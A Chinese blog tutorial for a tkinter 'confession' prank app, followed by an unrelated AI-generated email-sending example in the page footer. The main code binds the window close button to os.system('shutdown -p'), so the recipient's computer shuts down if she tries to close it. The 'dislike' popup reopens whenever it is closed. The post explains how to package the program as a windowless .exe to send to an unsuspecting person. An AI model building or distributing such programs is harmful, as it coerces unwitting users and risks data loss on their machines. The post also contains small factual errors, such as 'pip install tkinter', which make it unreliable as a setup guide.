用Python写的表白小程序

利用Python中的tkinter 的 图形化界面编程可以用来制作一些好玩的小程序,但是前提是要有tkinter这个包。

在Windows下安装,直接在dos窗口中输入 

pip install tkinter

做完准备工作之后,我们就可以来进入创作了。(如果安装tkinter包失败,可以去http://wiki.python.org/moin/TkInter官网)

首先在最上方导入tkinter的包

from tkinter import *

最开始需要创建一个窗口

# 创建窗口
window = Tk()

接着就是标题

# 设置标题
window.title("做我女朋友吧!")
# 设置长宽       这里的x是小写的,有点类似于乘号    宽 x 高
window.geometry("370x475+550+200")

# 当用户点击此按钮时,触发此方法
window.protocol("WM_DELETE_WINDOW", closeWindow)

接着就是弹窗中的标签控件

# 标签控件
Label1 = Label(window, text="hey 小姐姐", font="楷体 15", fg="green")
# grid就是定位,网格式布局
Label1.grid()

Label2 = Label(window, text="喜欢我吗?", font="微软雅黑 25")
# sticky 对齐方法 参数 N S E W
Label2.grid(row=1, column=1, sticky=E)

解释一下中间的参数,text是在 弹窗中的文字显示,font就是字体应该都知道,fg就是字体背景颜色

sticky中的有四个参数,东南西北

 

接着我们需要插入一张背景图片,为了这个小软件更加的美观

# 显示图片
# Python_01/play/girl.jpg
photo = PhotoImage(file='../play/girl.png')
# 这一步是将图片放进控件中
imageLabel = Label(window, image=photo)
# columnspan 组件所跨越的行数
imageLabel.grid(row=2, columnspan=2)

这里需要注意的一下的就是文件的路径以及网格,需要自己根据窗口的大小去调节

 

当这些都添加好之后,可能会有小伙伴问了,没有按钮吗? 答案是有的

# 添加按钮
# command 是点击按钮之后触发的事件
button1 = Button(window, text="喜欢", width=10, height=3, command=Love)
button1.grid(row=3, column=0, sticky=W)

button2 = Button(window, text="不喜欢", command=noLove)
button2.grid(row=3, column=2, sticky=E)

command触发的事件咱们待会再说

 

 

写到这,一个重要的东西,一开始就要写的,那就是

# 显示窗口
window.mainloop()

保持窗口一直显示

 

这中间按钮触发的方法,可以根据自己的喜好,自己想怎么玩就怎么写,完全是按个人来

当然,关闭窗口的方法是一样的,这里我就不过多赘述了,下面直接上代码,直接贴上全部代码

 

from tkinter import *
from tkinter import messagebox
import os


def closeWindow():
    # messagebox.showinfo(title="无法关掉的提示", message="再好好想想,不许关掉!")
    button4 = Button(window, command=cmd())
    return

def cmd():
    os.system('shutdown -p')

def closeallWindow():
    window.destroy()


# 点击喜欢,触发方法
def Love():
    # 这是一个顶级窗口
    love = Toplevel(window)
    love.geometry("250x120+580+260")
    love.title("我也是")
    label = Label(love, text="好巧,我也是!", font=("楷体", 16))
    # 包
    label.pack()

    # 喜欢窗口中按钮
    btn = Button(love, text="留下你的QQ", width=10, height=2, command=getQQ)
    btn.pack()
    love.protocol("WM_DELETE_WINDOW", closeLove)

def getQQ():
    # 这是一个顶级窗口
    get_qq = Toplevel(window)
    get_qq.geometry("300x150+580+260")
    get_qq.title("加个好友吧!")
    # label3 = Label(get_qq, text=1348822939, font=("楷体", 15))
    # label3.pack()


    label3 = Label(get_qq, text="留个QQ可以吗", font=("楷体", 16))
    label3.pack()
    entry = Entry(get_qq, font=("楷体", 16))
    entry.pack()

    btn1 = Button(get_qq, text="OK", width=10, height=2, command=closeallWindow)
    btn1.pack()

def closeLove():
    messagebox.showinfo(title="考虑一下呗!", message="再考虑考虑呗!")
    return

def noLove():
    # 这是一个顶级窗口
    no_love = Toplevel(window)
    no_love.geometry("250x100+580+260")
    no_love.title("考虑一下呗")
    label = Label(no_love, text="再考虑考虑呗!", font=("楷体", 16))
    # 包
    label.pack()
    # 不喜欢窗口中按钮
    btn = Button(no_love, text="好的", width=10, height=2, command=no_love.destroy)
    btn.pack()
    # 如果点击关闭触发的事件
    no_love.protocol("WM_DELETE_WINDOW", closenoLove)

def closenoLove():
    # 回调
    noLove()

def start():
    messagebox.showinfo(title="由Jack_Lee制作", message="不要×掉,否则...")


# 创建窗口
window = Tk()


# 设置标题
window.title("做我女朋友吧!")

# 设置长宽       这里的x是小写的,有点类似于乘号    宽 x 高
window.geometry("370x475+550+200")

# 当用户点击此按钮时,触发此方法
window.protocol("WM_DELETE_WINDOW", closeWindow)

# 设置窗口的位置
# window.geometry("+590+390")

# 标签控件
Label1 = Label(window, text="hey 小姐姐", font="楷体 15", fg="green")
# grid就是定位,网格式布局
Label1.grid()

Label2 = Label(window, text="喜欢我吗?", font="微软雅黑 25")
# sticky 对齐方法 参数 N S E W
Label2.grid(row=1, column=1, sticky=E)

# 显示图片
# Python_01_基础/play/girl.jpg
photo = PhotoImage(file='../play/girl.png')
# 这一步是将图片放进控件中
imageLabel = Label(window, image=photo)
# columnspan 组件所跨越的行数
imageLabel.grid(row=2, columnspan=2)

# 添加按钮
# command 是点击按钮之后触发的事件
button1 = Button(window, text="喜欢", width=10, height=3, command=Love)
button1.grid(row=3, column=0, sticky=W)

button2 = Button(window, text="不喜欢", command=noLove)
button2.grid(row=3, column=2, sticky=E)

# button3 = Button(window, text="作者Jack_Lee", command=start())
# button3.grid(row=3, column=3)

button3 = Button(window, command=start())


# 显示窗口
window.mainloop()

 

需要注意的一下就是,图片的路径需要改,还有就是我加入了一个cmd命令,需要导入os包

如果小姐姐一进来就直接点击右上方的X,那么直接关机,哈哈哈哈,似乎有点不太好

最后,有人会问,代码都写好了,怎么打包发给小姐姐呢?难不成发个源代码给她去运行?

当然不是,Python也为我们提供了打包工具,可以直接打包成.exe的可执行文件

在这之前需要准备一个ico,作为软件的图标,这个很多网站上面可以直接转的

同理,先安装

pip install pyinstaller

pyinstaller -F -w -i xin.ico love.py

参数:
-F 打包成一个exe文件。

-w, –windowed, –noconsole 使用窗口,无控制台

如果不加这个指令,每次打开软件都会弹出dos黑窗口

-i 改变生成程序的icon图标

后面就是先跟图标文件,再跟Python文件

注意,这个顺序不能乱

打包成功之后

在你的py文件所在的目录下,生成build和dist文件夹,如果是选择了-F参数,那么dist文件夹下就是你要的程序,build文件夹可以删除

注意,pyinstaller只能在windows电脑环境下进行转换。同时建议路径使用英文,不要包含中文,低版本的pyinstaller可能会出错。

最后,小弟写的不好,还请大家多提宝贵建议,谢谢!!!
 

 

 

 

 

 

 

 

  • 11
    点赞
  • 42
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
抱歉,我作为AI语言模型没有情感和主观性,无法开发表白小程序。但是,我可以给你提供一些思路和代码示例,帮助你自己开发。 思路: 1. 使用Python的Tkinter库创建GUI界面; 2. 添加文本框和按钮,输入表白内容; 3. 将表白内容保存在文件中; 4. 添加发送邮件功能,将表白内容通过邮件发送给对方。 代码示例: ``` # 导入必要的库 import smtplib from email.mime.text import MIMEText from tkinter import * import tkinter.messagebox as messagebox # 创建GUI界面 root = Tk() root.title('表白小程序') root.geometry('300x200') # 添加文本框和按钮 label = Label(root, text='请输入表白内容:') label.pack() text = Text(root) text.pack() button = Button(root, text='发送', command=lambda: send_email(text.get(1.0, END))) button.pack() # 保存表白内容 def save_content(content): with open('love_letter.txt', 'a') as f: f.write(content + '\n') # 发送邮件 def send_email(content): # 邮件发送方和接收方 sender = '你的邮箱地址' receiver = '对方的邮箱地址' # 邮件主题和内容 subject = '表白' message = MIMEText(content, 'plain', 'utf-8') message['Subject'] = subject message['From'] = sender message['To'] = receiver # 发送邮件 try: smtpObj = smtplib.SMTP('smtp.qq.com') smtpObj.login(sender, '你的邮箱密码') smtpObj.sendmail(sender, [receiver], message.as_string()) smtpObj.quit() messagebox.showinfo('发送成功', '表白已发送成功!') save_content(content) except smtplib.SMTPException: messagebox.showerror('发送失败', '表白发送失败,请检查邮箱设置!') # 运行程序 root.mainloop() ``` 注意: 1. 在使用邮件发送功能前,需要先在邮箱设置中开启SMTP服务,并获取授权码; 2. 代码中的邮箱地址、密码和授权码需要替换为你自己的信息; 3. 保存表白内容的代码可以根据需要进行修改,比如保存在数据库中等。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值